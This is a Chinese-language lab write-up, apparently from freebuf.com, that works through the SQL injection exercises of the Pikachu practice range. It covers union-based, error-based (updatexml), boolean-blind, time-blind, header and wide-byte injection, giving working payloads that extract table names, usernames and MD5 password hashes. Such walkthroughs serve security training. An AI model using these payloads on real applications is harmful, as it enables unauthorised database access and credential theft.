1.Sql Inject(SQL注入)概述
2.数字型注入(post)
判断字段数
id=1 order by 3报错
id=1 order by 2有回显,所以字段数为2
判断回显点,可以在1和2这两处位置,获得我们想要的信息
id=1 union select 1,2
查看用户名和数据库名,可知用户名为root@localhost,数据库名为pikachu
id=1 union select user(),database()
查询数据库pikachu下的所有表名httpinfo,member,message,users,xssblind
id=1 union select 1,goup_concat(table_name) from information_schema.tables where table_schema=’pikachu’
查询数据表users中的字段USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password,level
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’
查询字段username和password的内容
id=1 union select group_concat(username),group_concat(password) from users
对应账号和MD5加密的密码:
admin:e10adc3949ba59abbe56e057f20f883e(123456)
pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)
test:e99a18c428cb38d5f260853678922e03(abc123)
3.字符型注入(get)
由题可知是字符型注入(get),可直接在url中的name参数后进行修改
输入’点击查询,报错,判断存在SQL注入
/vul/sqli/sqli_str.php?name=%27&submit=查询
可以用– q对’进行闭合
输入name=’ or 1=1– q,可查询出所有账户数据
判断字段数
‘ order by 2 — q
有回显
‘ order by 3 — q
报错,所以字段数为2
判断回显点,可以在1和2这两处位置,获得我们想要的信息
‘ union select 1,2 — q
查看用户名和数据库名,可知用户名为root@localhost,数据库名为pikachu
‘ union select user(),database() — q
查询数据库pikachu下的所有表名httpinfo,member,message,users,xssblind
‘ union select 1,group_concat(table_name) from information_schema.tables where table_schema=’pikachu’ — q
查询数据表users中的字段 id,username,password,level,id,username,password
‘ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ — q
查询字段username和password的内容
‘ union select group_concat(username),group_concat(password) from users — q
对应账号和MD5加密的密码:
admin:e10adc3949ba59abbe56e057f20f883e(123456)
pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)
test:e99a18c428cb38d5f260853678922e03(abc123)
4.搜索型注入
由题可知是搜索型注入(get),可直接在url中的name参数后进行修改
输入’点击查询,报错,判断存在SQL注入
/vul/sqli/sqli_str.php?name=%27&submit=查询
可以用– q对’进行闭合
输入name=’ or 1=1– q,可查询出所有账户数据
判断字段数
‘ order by 3 — q
有回显
‘ order by 4 — q
报错,所以字段数为3
判断回显点,可以在1,2,这三处位置,获得我们想要的信息
‘ union select 1,2,3 — q
中间内容和字符型注入(get)类似,只是多了一个回显点,在此不再赘述
直接查询字段username和password的内容
‘ union select 1,group_concat(username),group_concat(password) from users — q
对应账号和MD5加密的密码:
admin:e10adc3949ba59abbe56e057f20f883e(123456)
pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)
test:e99a18c428cb38d5f260853678922e03(abc123)
5.xx型注入
输入’报错,此处存在SQL注入漏洞,观察报错信息,出现)
/vul/sqli/sqli_str.php?name=%27&submit=查询
输入’)– q,成功闭合
判断字段数
‘) order by 2 — q
有回显
‘) order by 3 — q
报错,所以字段数为2
中间内容和字符型注入(get)类似,只是多加一个)进行闭合,在此不再赘述
直接查询字段username和password的内容
‘) union select group_concat(username),group_concat(password) from users — q
对应账号和MD5加密的密码:
admin:e10adc3949ba59abbe56e057f20f883e(123456)
pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)
test:e99a18c428cb38d5f260853678922e03(abc123)
6.insert&update注入
insert/update是插入和更新的意思,这两个场景的注入,post数据包里的每一个参数都可以注入
insert注入
首先在注册的时候抓包分析。
username=’ 报错,可判断存在SQL注入
本题运用报错注入的方法进行解答
查询用户名root@localhost
username=’ or updatexml(1,concat(0x7e,(select user())),1),1) — q
查询数据库名pikachu
username=’ or updatexml(1,concat(0x7e,(select database())),1),1) — q
查询数据库pikachu下的所有表名httpinfo,member,message,users,x发现不能全部显示
username=’ or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’pikachu’)),1)or’
在这一步可以使用left,mid,right来进行分段显示,将得到的信息进行拼接,下图中的22是从右往左显示22个字符,所有表名httpinfo,member,message,users,xssblind
username=’ or updatexml(1,concat(0x7e,right((select group_concat(table_name) from information_schema.tables where table_schema=’pikachu’),22)),1)or’
还可以用limit函数逐个读取数据库中的表名
username=’ or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’pikachu’ limit 0,1)),1)or’
查询users表中的字段名id,username,password,level,id,u
username=’ or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=’users’)),1)or’
查询users表中所有的字段名id,username,password,level,id,username,password
username=’ or updatexml(1,concat(0x7e,right((select group_concat(column_name) from information_schema.columns where table_name=’users’),22)),1)or’
还可以用limit函数逐个读取users表中的字段名
username=’ or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=’users’ limit 0,1)),1)or’
直接查询字段username的内容admin,pikachu,test
username=’ or updatexml(1,concat(0x7e,(select group_concat(username) from users)),1)or’
直接查询字段passowrd的内容,因为字符数量比较多,所以直接用limit函数读取
username=’ or updatexml(1,concat(0x7e,(select password from users limit 0,1)),1)or’
对应账号和MD5加密的密码:
admin:e10adc3949ba59abbe56e057f20f883e(123456)
pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)
test:e99a18c428cb38d5f260853678922e03(abc123)
update注入
首先利用已知的账号kobe,密码123456登录
点击修改个人信息,点击submit,抓包
sex=’ 报错,可判断存在SQL注入
中间过程和insert注入类似,只是注入参数变成了sex
直接查询字段username的内容admin,pikachu,test
sex=’ or updatexml(1,concat(0x7e,(select group_concat(username) from users)),1)or’
直接查询字段passowrd的内容,因为字符数量比较多,所以直接用limit函数读取
sex=’ or updatexml(1,concat(0x7e,(select password from users limit 0,1)),1)or’
对应账号和MD5加密的密码:
admin:e10adc3949ba59abbe56e057f20f883e(123456)
pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)
test:e99a18c428cb38d5f260853678922e03(abc123)
7.delete注入
查看源码,没有对GET参数获取到的id进行任何处理,直接拼接,进行删除
输入1,点击submit,再点击删除,抓包
修改id=58′,报错,可判断存在SQL注入
可以直接在url进行操作,查询数据库名pikachu
/vul/sqli/sqli_del.php?id=59%20or%20updatexml(1,concat(0x7e,(select%20database())),1)
中间内容和insert&updatexml内容类似,只是不需要闭合单引号,在此不做过多赘述
直接查询字段username的内容admin,pikachu,test
%20or updatexml(1,concat(0x7e,(select group_concat(username) from users)),1)
直接查询字段passowrd的内容,因为字符数量比较多,所以直接用limit函数读取
%20or updatexml(1,concat(0x7e,(select password from users limit 0,1)),1)
对应账号和MD5加密的密码:
admin:e10adc3949ba59abbe56e057f20f883e(123456)
pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)
test:e99a18c428cb38d5f260853678922e03(abc123)
8.http header注入
输入admin/123456,点击login登录
通常情况下,页面返回信息有user agent数据的,将http头中的user-agent和accept带入了SQL查询,如果没过滤就会存在http header注入
刷新页面抓包,Accept也可进行注入
修改User-Agent: ‘ 报错,可以判断此处存在SQL注入
查询数据库名
‘ or updatexml(1,concat(0x7e,(select database())),1)or’
中间过程和insert/update注入一样,只是注入参数修改为User-Agent,在此不再赘述
直接查询字段username的内容admin,pikachu,test
‘ or updatexml(1,concat(0x7e,(select group_concat(username) from users)),1)or’
直接查询字段passowrd的内容,因为字符数量比较多,所以直接用limit函数读取
‘ or updatexml(1,concat(0x7e,(select password from users limit 0,1)),1)or’
对应账号和MD5加密的密码:
admin:e10adc3949ba59abbe56e057f20f883e(123456)
pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)
test:e99a18c428cb38d5f260853678922e03(abc123)
9.盲注(base on boolian)
由题可知是布尔盲注,只会返回True或者False,不会返回报错信息
输入lucy,点击查询,返回True,输入lucy’返回False,说明此处存在SQL注入
判断当前数据库的长度,大于6不大于7,所以长度为7,可以用burp的intruder
lucy’ and length(database())>7– q,False
lucy’ and length(database())>6– q,True
判断库名第一个字母为p,True
lucy’ and (substr(database(),1,1))=’p’– q
以此类推,数据库名为pikachu
判断表名第一个表的第一个字母为h,True
lucy’ and (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=’h’– q
以此类推,所有表名为httpinfo,member,message,users,xssblind
判断users表中第一个字段的第一个字母是i,True
lucy’ and (substr((select column_name from information_schema.columns where table_schema=database() and table_name=’users’ limit 0,1),1,1))=’i’– q
以此类推,所有字段名为id,username,password,level,id,username,password
判断username中第一个内容的第一个字母为a,True
lucy’ and (substr((select username from users limit 0,1),1,1))=’a’– q
以此类推
对应账号和MD5加密的密码:
admin:e10adc3949ba59abbe56e057f20f883e(123456)
pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)
test:e99a18c428cb38d5f260853678922e03(abc123)
10.盲注(base on time)
由题可知是延时注入
使用sleep()函数:输入
kobe%27+and+sleep%283%29–%20q
页面延时3秒返回,说明此处存在延时注入漏洞
判断当前数据库名长度为7,页面没有延时,说明数据库长度为7
kobe%27+and sleep(if((length(database())=7),0,3))–%20q
判断库名第一个值为p,页面没有延时,说明数据库第一个值为p
kobe’ and if(substr(database(),1,1)=’p’,0,sleep(3))– q
kobe’ and if(ascii(substr(database(),1,1))=ascii(‘p’),0,sleep(3))– q
kobe’ and sleep(if(ascii(substr(database(),1,1))=ascii(‘p’),0,3))– q
以此类推,数据库名为pikachu
判断表名第一个表的第一个值为h,页面没有延时,说明第一个表的第一个值为h
kobe’ and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=’h’,0,sleep(3))– q
以此类推,所有表名为httpinfo,member,message,users,xssblind
判断users表中第一个字段的第一个值是i,页面没有延时,users表中第一个字段的第一个值是i
kobe’ and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name=’users’ limit 0,1),1,1)=’i’,0,sleep(3))– q
以此类推,所有字段名为id,username,password,level,id,username,password
判断username中第一个内容的第一个值为a,页面没有延时,username中第一个内容的第一个值为a
kobe’ and if(substr((select username from users limit 0,1),1,1)=’a’,0,sleep(3))– q
以此类推
对应账号和MD5加密的密码:
admin:e10adc3949ba59abbe56e057f20f883e(123456)
pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)
test:e99a18c428cb38d5f260853678922e03(abc123)
11.宽字节注入
由题可知是宽字节注入,简单来说就是数据库用了GBK编码,\转义了’ ,\的GBK编码是%5c,而%df%5c是一个繁体字“連”,可以输入%df吃掉%5c,此时单引号逃逸就可以发挥作用了
输入kobe%df’ or 1=1– q,点击查询,抓包,可以查询出所有用户的数据
pikachu的宽字节靶场无法判断字段数,根据之前的经验,直接进入下一步
判断回显点可以在1和2这两处位置,获得我们想要的信息
kobe%df’ union select 1,2– q
中间的过程和字符型(get)注入类似,只是需要%df来逃逸单引号,在此不再赘述
直接查询字段username和password的内容
kobe%df’ union select group_concat(username),group_concat(password) from users — q
对应账号和MD5加密的密码:
admin:e10adc3949ba59abbe56e057f20f883e(123456)
pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)
test:e99a18c428cb38d5f260853678922e03(abc123)
来源:freebuf.com 2020-11-05 12:33:11 by: 国服最强渗透掌控者
请登录后发表评论
注册